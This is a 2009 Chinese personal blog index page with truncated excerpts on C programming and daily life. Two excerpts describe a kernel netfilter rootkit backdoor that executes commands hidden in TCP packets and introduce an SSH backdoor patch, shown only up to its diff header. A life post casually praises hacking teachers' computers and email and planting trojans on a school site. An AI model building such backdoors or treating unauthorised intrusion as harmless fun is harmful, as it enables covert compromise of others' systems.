WZT的自由世界
百度空间 | 百度首页 
               
 
文章列表
 
2009-06-20 21:34
最近发现一个哥们唱歌超好听,艺名叫舒克, 有前途。
 
2009-06-04 08:10
前几天看了rwrk这个rk的demo, 它就是利用netfilter hook住了进入主机的数据包, hook点是NF_IP_PRE_ROUTING, 因此可以在进入iptables之前提前实现数据包的过滤。在这个hook点上作文章就比较多了, 可以实现防火墙, 嗅探器, 当然也可以用来触发回连后门, wnps就是这么来作的, 因此不管主机防火墙作的规则如何变态, 都有机会穿透它。下面这个demo用来演示分析tcp包的内容, 分析出里面的命令, 然后去执行它, 有点类似以前的icmp, ip包后门, 只不过这些都在内核来完成, 功能更强大。
demo在ubuntu8.10 + 2.6.28上测试成功。
 
2009-05-30 20:56
使用Reader/Writer两个线程操作共享内存是程序设计中经常用到的方法, 共享内存一般是一个队列, 写线程不断的向队列尾中加入元素, 读线程不断的读取队列头, 使用信号量比使用自旋锁有更好的效率。下面是一个使用范例, 简单的cp功能。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
 
2009-05-28 08:32
最近在写一 个http下载器, 通过读写线程分工来做。 当写线程结束的时候, 通过pthread_join来等待它结束, 函数原型如下:

void start_write_thread(pthread_t thread_id)
{
        if (pthread_create(&thread_id, NULL, write_data_to_file, NULL) != 0) {
                printf("[-] Create write thread failed.\n");
       
 
2009-05-21 17:06
今天又去逛学校的贴吧了, 仿佛又回到了大学时代, 学校变的更漂亮了, 好想回去在去读几年大学。 早上可以睡到自然醒, 又可能睡到中午, 然后直接去吃午饭。 不感兴趣的课就不去听, 考前临时复习下, 考试的时候让老婆做我前面就行。即使挂科, 交50大洋就可以过了, 不行就跟学弟学妹一起重修, 还可以看低年级的小美女, 舒服啊~~~~~每次下课, 站在寝室阳台下, 向下俯视美女不行。 看见不爽的老师,可以黑掉他机器, 破解他邮箱。 在无聊的时候去学校页面挂匹马 ,然后收集学校老师和同学的肉鸡, 继续搜寻感兴趣的东西~ 话说有
 
2009-05-18 10:43
周末跟搜索的兄弟们一起去东西冲游玩了, 住海边的小木屋, 晚上吃烧烤, 白天游玩三门岛, 非常开心。
晚上吃烧烤的时候, 兄弟们都激动了。一个一个都发言了, 然后哭的涕不成声, 都喝高了。 在“谁比我惨”的评选中, 智勇老大得第一名了, 的确很惨, 获奖发言时连贯2瓶, 牛逼, 不过最猛的他是搜索中唯一有8块腹肌的猛男。。。奖品不错, 不过我得跟他要半份, 因为是我推荐他的。。。还有波波得了个成就奖的第二名, 一界的研究毕业生, 年龄跟我差不多, 技术高我一头, 他是唯一一个08界毕业生在公司做技术讲座
 
2009-05-14 11:00
最近写的一些程序都会出现莫名其妙的bug, 仔细分析下来都是在一些c语法上的细小疏忽造成的。 这使得我开始重新思考c语法, 重新再巩固下c的知识。 今天说说c中的可变参数用法在实际项目中的运用, 其基本用法可以参考其他网络文章。

1、 在项目中我们经常会要用到debug函数或一些日志函数来方便我们进行调试和查看日志信息, 这些函数无疑用可变参数用法是最合适的了, 看下面这个日志函数:

#define debug_log_info(log_path, log_name, fmt, ...)          
 
2009-05-12 16:18
linux函数中signal函数的原型就很晦涩难懂了, 看下面这个程序你能否读懂它:

#include <stdio.h>

typedef int (*fptr)(int, char *);

int test(int num, char *s)
{
        int i = 0;

        for (; i < num; i++)
                printf("%s\n", s);

      
 
2009-05-12 15:24
在x.c中定义了一个字符数组 char s[100],
在l.c中进行引用extern char s[200], 有些c程序新手经常把它写成extern char *s。 这两种写法的含义一样吗?

首先得理解声明与定义的含义:
定义一个变量意味着要给它进行内存分配, 而声明一个变量则可以在其他文件中, 只是进行一种声明, 表示有这个变量存在, 但是在其他文件中定义, 声明后不用分配内存。

我们看一下extern char s[100]与extern char *s在执行s[10]的取值过程是什么样的:

1、 extern char s[100], s是个符号, 它既是一个数组的名称
 
2009-05-08 08:23
很久之前写的ssh后门patch了, 对于ssh和pam后门, 编写都比较简单, 只要在对应函数中打个patch即可。

diff -uNr old/auth-passwd.c new/auth-passwd.c
--- old/auth-passwd.c    2004-06-22 11:37:12.000000000 +0800
+++ new/auth-passwd.c    2005-10-13 15:22:27.093750000 +0800
@@ -150,6 +150,21 @@
     * Authentication is accepted if the encrypted passwords
     * are identical.
  
 
     
 
 
个人档案
 
wzt85

上次登录:
4小时前
加为好友
 
   
 
文章分类
 
 
 
Kernel(16)
 
 
C(11)
 
Life(22)
 
 
     
 
好友最新文章
 
     
 
最新评论
 
文章评论|照片评论

 

我是2000后的
 

除了我之外, 他们都是90后
 

看来楼上各位都是80后~
 

我是他兄弟 贝塔
 
     
 
最近访客
 
 

PrettyInsight

sxnlhq

jinxgo

hackisle

国殇1644

amxku

raywill

0xtear
     
 
背景音乐
 
 
日历
 
     
 
其它
 
已有人次访问本空间
 
订阅RSS  什么是RSS?

您也想拥有这样的空间?请点此申请。
     


©2009 Baidu